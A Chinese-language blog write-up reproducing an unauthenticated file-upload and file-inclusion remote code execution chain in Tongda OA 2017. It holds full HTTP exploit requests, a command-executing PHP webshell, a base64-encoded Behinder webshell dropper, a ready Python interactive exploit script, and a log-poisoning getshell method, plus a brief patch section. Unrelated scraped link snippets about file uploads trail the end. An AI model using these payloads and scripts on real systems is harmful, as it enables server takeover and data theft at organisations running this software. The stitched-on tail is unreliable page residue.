一、原理

1.文件上传

漏洞位置:/ispirit/im/upload.php

(1) 身份绕过

如果设置了P参数,则跳过auth.php:

(2) 文件上传:

上传过滤了php,因为通达oa一般使用的是windows,所以可以使用php.绕过。不过由于上传目录不在根目录,所以还是需要进行文件包含。

2.文件包含

漏洞位置:/ispirit/interface/gateway.php(2013版)

/mac/gateway.php(2017版)

二、复现

1.版本

复现使用版本:通达OA 2017版

下载地址:http://www.tongda2000.com/download/2017.php

•        不同版本下gateway.php的位置不一样,具体可以下载对应版本的源码查看,将下载地址中的“2017”改为其他年份即可。

2.步骤

(1) 下载安装

安装好后,网站的php源码进行了zend加密,可以利用在线网站解密后打开:

•        http://dezend.qiling.org/free.html

(2) 访问/ispirit/im/upload.php

抓包:

GET /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=17233

Upgrade-Insecure-Requests: 1将GET改为POST,并添加Content-Type和数据:

POST /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=7087

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 556

Content-Type: multipart/form-data; boundary=--------1673801018

----------1673801018

Content-Disposition: form-data; name="UPLOAD_MODE"

2

----------1673801018

Content-Disposition: form-data; name="P"

123

----------1673801018

Content-Disposition: form-data; name="DEST_UID"

2

----------1673801018

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

----------1673801018--response:

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2020 03:24:11 GMT

Content-Type: text/html; charset=gbk

Connection: close

Vary: Accept-Encoding

Set-Cookie: PHPSESSID=123; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Content-Length: 39

+OK [vm]2873@2004_1822376441|jpg|0[/vm]成功上传截图:

(3) 访问/mac/gateway.php

抓包:

GET /mac/gateway.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=17233

Upgrade-Insecure-Requests: 1将GET改为POST,并添加Content-Type和数据,注意替换文件名:

POST /mac/gateway.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: PHPSESSID=r0hk8u3l3htg8kehe3okg0uuv6; KEY_RANDOMDATA=7087

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 72

json={"url":"/general/../../attach/im/2004/1822376441.jpg"}&cmd=whoamiresponse:

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 26 Apr 2020 03:28:17 GMT

Content-Type: text/html; charset=gbk

Connection: close

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

Content-Length: 21

nt authority\system命令执行截图:

(4) 上传冰蝎马

将上传文件的内容替换为:

$fp = fopen('readme.php', 'w');

$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");

fwrite($fp, $a);

fclose($fp);

?>上传并进行文件包含后,会在gateway.php的目录下生成一个readme.php的冰蝎马:

冰蝎成功连接:

三、python3脚本

From:https://www.cnblogs.com/yuyan-sec/p/12549237.html

import requests,sys

def poc():

global url

upload = url+"/ispirit/im/upload.php"

cmdshell = """

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

"""

files = {"ATTACHMENT": cmdshell}

upload_post = {

"UPLOAD_MODE":2,

"P":123,

"DEST_UID":2

}

r = requests.post(upload,upload_post,files=files)

path = r.text

path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")

return path

def exp():

global url

path = poc()

headers = {

"Content-Type":"application/x-www-form-urlencoded"

}

include = url+"/mac/gateway.php"

while 1:

cmd = input("$ ")

include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd

req = requests.post(url=include, data=include_post,headers=headers)

print(req.text)

if cmd == 'exit':

break

if __name__ == '__main__':

try:

url = sys.argv[1]

print("""

______   ___   ____    ____      ___     ____      ____      __    ___

|      | /   \ |    \  /    |    |   \   /    |    |    \    /  ]  /  _]

|      ||     ||  _  ||   __|    |    \ |  o  |    |  D  )  /  /  /  [_

|_|  |_||  O  ||  |  ||  |  |    |  D  ||     |    |    /  /  /  |    _]

|  |  |     ||  |  ||  |_ |    |     ||  _  |    |    \ /   \_ |   [_

|  |  |     ||  |  ||     |    |     ||  |  |    |  .  \\     ||     |

|__|   \___/ |__|__||___,_|    |_____||__|__|    |__|\_| \____||_____|

""")

# poc()

exp()

except:

print("ERROR")

四、修复

upload.php中,删掉了else判断,直接包含/auth.php

if(isset($P) || $P!="")

{

ob_start();

include_once("inc/session.php");

session_id($P);

session_start();

session_write_close();

}

include_once("./auth.php");gateway.php中,url参数过滤了".."

if (strpos($url, "..") !== false) {

echo _("ERROR URL");

exit();

}五、利用nginx日志getshell

抓包,发送一句话木马。注意不能直接在浏览器访问,因为符号会被浏览器编码。

本地测试环境下可以查看nginx日志,发现一句话被记录:

蚁剑连接地址:

http://127.0.0.1/mac/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}

TVC 3

通达+oa+php+文件+乱,通达OA文件上传+文件包含get shell复现相关推荐

  1. 在Ubuntu终端使用mkdir创建文件夹后Xftp不能上传文件到文件夹中的问题解决方法

    问题描述 在Ubuntu终端上使用mkdir创建文件夹后使用Xftp上传文件失败 原因分析: 权限问题 解决方案: chmod 777 File

  2. vue method ajax上传文件,前端上传文件追根溯源_和_antd_vue上传文件实例

    背景 平,过现前个能文使近记接的端问对字用近记接时工作中经常会遇到需要上传文件的情况,如果你用ant design 或者element ,它们都提供了上传的组件. 我们分别来看一下element 和 ...

  3. xshell往linux传文件,Xshell向Linux服务器上传文件的详细步骤

    相信Linux用户对Xshell远程管理软件都不陌生的,不过对于一些新手朋友来讲,向Linux服务器上传文件可能还存在难度,这里小编就分享了Xshell向Linux服务器上传文件的详细步骤,下面一起来 ...

  4. php post 文件,PHP响应post请求上传文件的方法_php技巧

    本文实例讲述了PHP响应post请求上传文件的方法.分享给大家供大家参考,具体如下: function send_file($url, $post = '', $file = '') { $eol = ...

  5. java获取ajax上传的文件,Java使用Ajax异步上传文件

    相关代码示例: html代码片段: 名称 class="layui-input"> 描述 文件 请选择配置文件 立即提交 重置 js代码片段: //上传配置文件 $(&quo ...

  6. flask中使用FileField上传文件的两种方式+前端页面上传文件(flask三种上传文件方式)

    文章目录 上传文件方式一: 1.index.html文件: 2.主文件main.py: 上传文件方式二: 1.index2.html文件: 2.main.py文件: 上传文件方式三: 1.index3 ...

  7. python 上传文件夹,python – 使用Flask上传文件夹/文件

    我可以通过这个例子上传一个带烧瓶的文件: 但我不知道如何上传文件夹或一些文件.我搜索过,我发现了这个: Uploading multiple files with Flask.最后,我得到了如何上传多 ...

  8. tp5上传文件并获取文件路径_thinkphp表单上传文件并将文件路径保存到数据库中...

    上传单个文件,此文以上传图片为例,上传效果如图所示 创建数据库upload_img,用于保存上传路径 CREATE TABLE `seminar_upload_img` ( `id` int(11) ...

  9. java 转发上传文件_Java 发送http请求上传文件功能实例

    废话不多说了,直接给大家贴代码了,具体代码如下所示: package wxapi.WxHelper; import java.io.BufferedReader; import java.io.Dat ...

  10. php怎么读取上传文件的md5,PHP获取上传文件的md5码_PHP教程

    由于需要判断上传的文件是否被修改过,需要记录上传文件的md5值,这里记录一下获取文件md5值的方法. if(isset($_FILES['multimedia']) && $_FILE ...

最新文章

  1. vue右键自定义菜单_一款小巧的开源右键菜单管理软件
  2. c# 带返回值的action_C#知识点讲解之C#delegate、event、Action、EventHandler的使用和区别...
  3. XML表示的数据库数据
  4. 第二章 个体软件过程
  5. [家里蹲大学数学杂志]第045期布朗运动矩的计算
  6. xml与oracle对比,Oracle XML DB和DB2 pure XML在XML文档存储查询性能方面的比较分析
  7. 苹果x翻新机序列号开头_Android翻新电话每隔X秒
  8. (MATLAB中文乱码)UTF-8转GBK编码
  9. 万字长文详解JavaScript(JavaScript从入门到精通)(持续更新)
  10. 等距更纱黑体 T SC regular下载
  11. 习题4-6 莫尔斯代码(Morse Mismatches,ACM/ICPC World Finals 1997,UVa508)
  12. java中将字符串转换为URL能解析的编码
  13. 本地文件秒搜工具 Everything
  14. 数组的下标为什么从0开始而不是从1开始
  15. 环信java,java集成环信 - IM Geek开发者社区-移动开发者社区-开源社区-IM Geek官网...
  16. 超快激光微加工的Burst Mode和PSO功能
  17. 基于嵌入式linux 的蓝牙通信系统设计与实现的研究意义,嵌入式Linux操作系统通信管理机的设计研究...
  18. 支持OneNote for Window10代码高亮工具
  19. 非科班的“他”奋斗六年在职阿里核心资深架构师,现年薪百万!
  20. Android Manifest详解

热门文章

  1. 网络安全-技术与实践 书本习题练习
  2. 网页版在线客服实现代码
  3. 视频水印素材 md5修改
  4. Java读取文件的四种方式
  5. 有声小说php源码,PHP魅雅有声小说联盟程序源码 v7.7.2
  6. 【前端】【HTML+CSS+JavaScript(JS)】简易工资计算器的实现
  7. Python WXPY实现微信监控报警功能的代码
  8. 都9012年了!假借区块链敛财骗局仍一桩接一桩
  9. php copy路径出错,php – copy()函数的第二个参数不能是一个目录
  10. ADC/DAC信噪比计算(单音/宽带信号)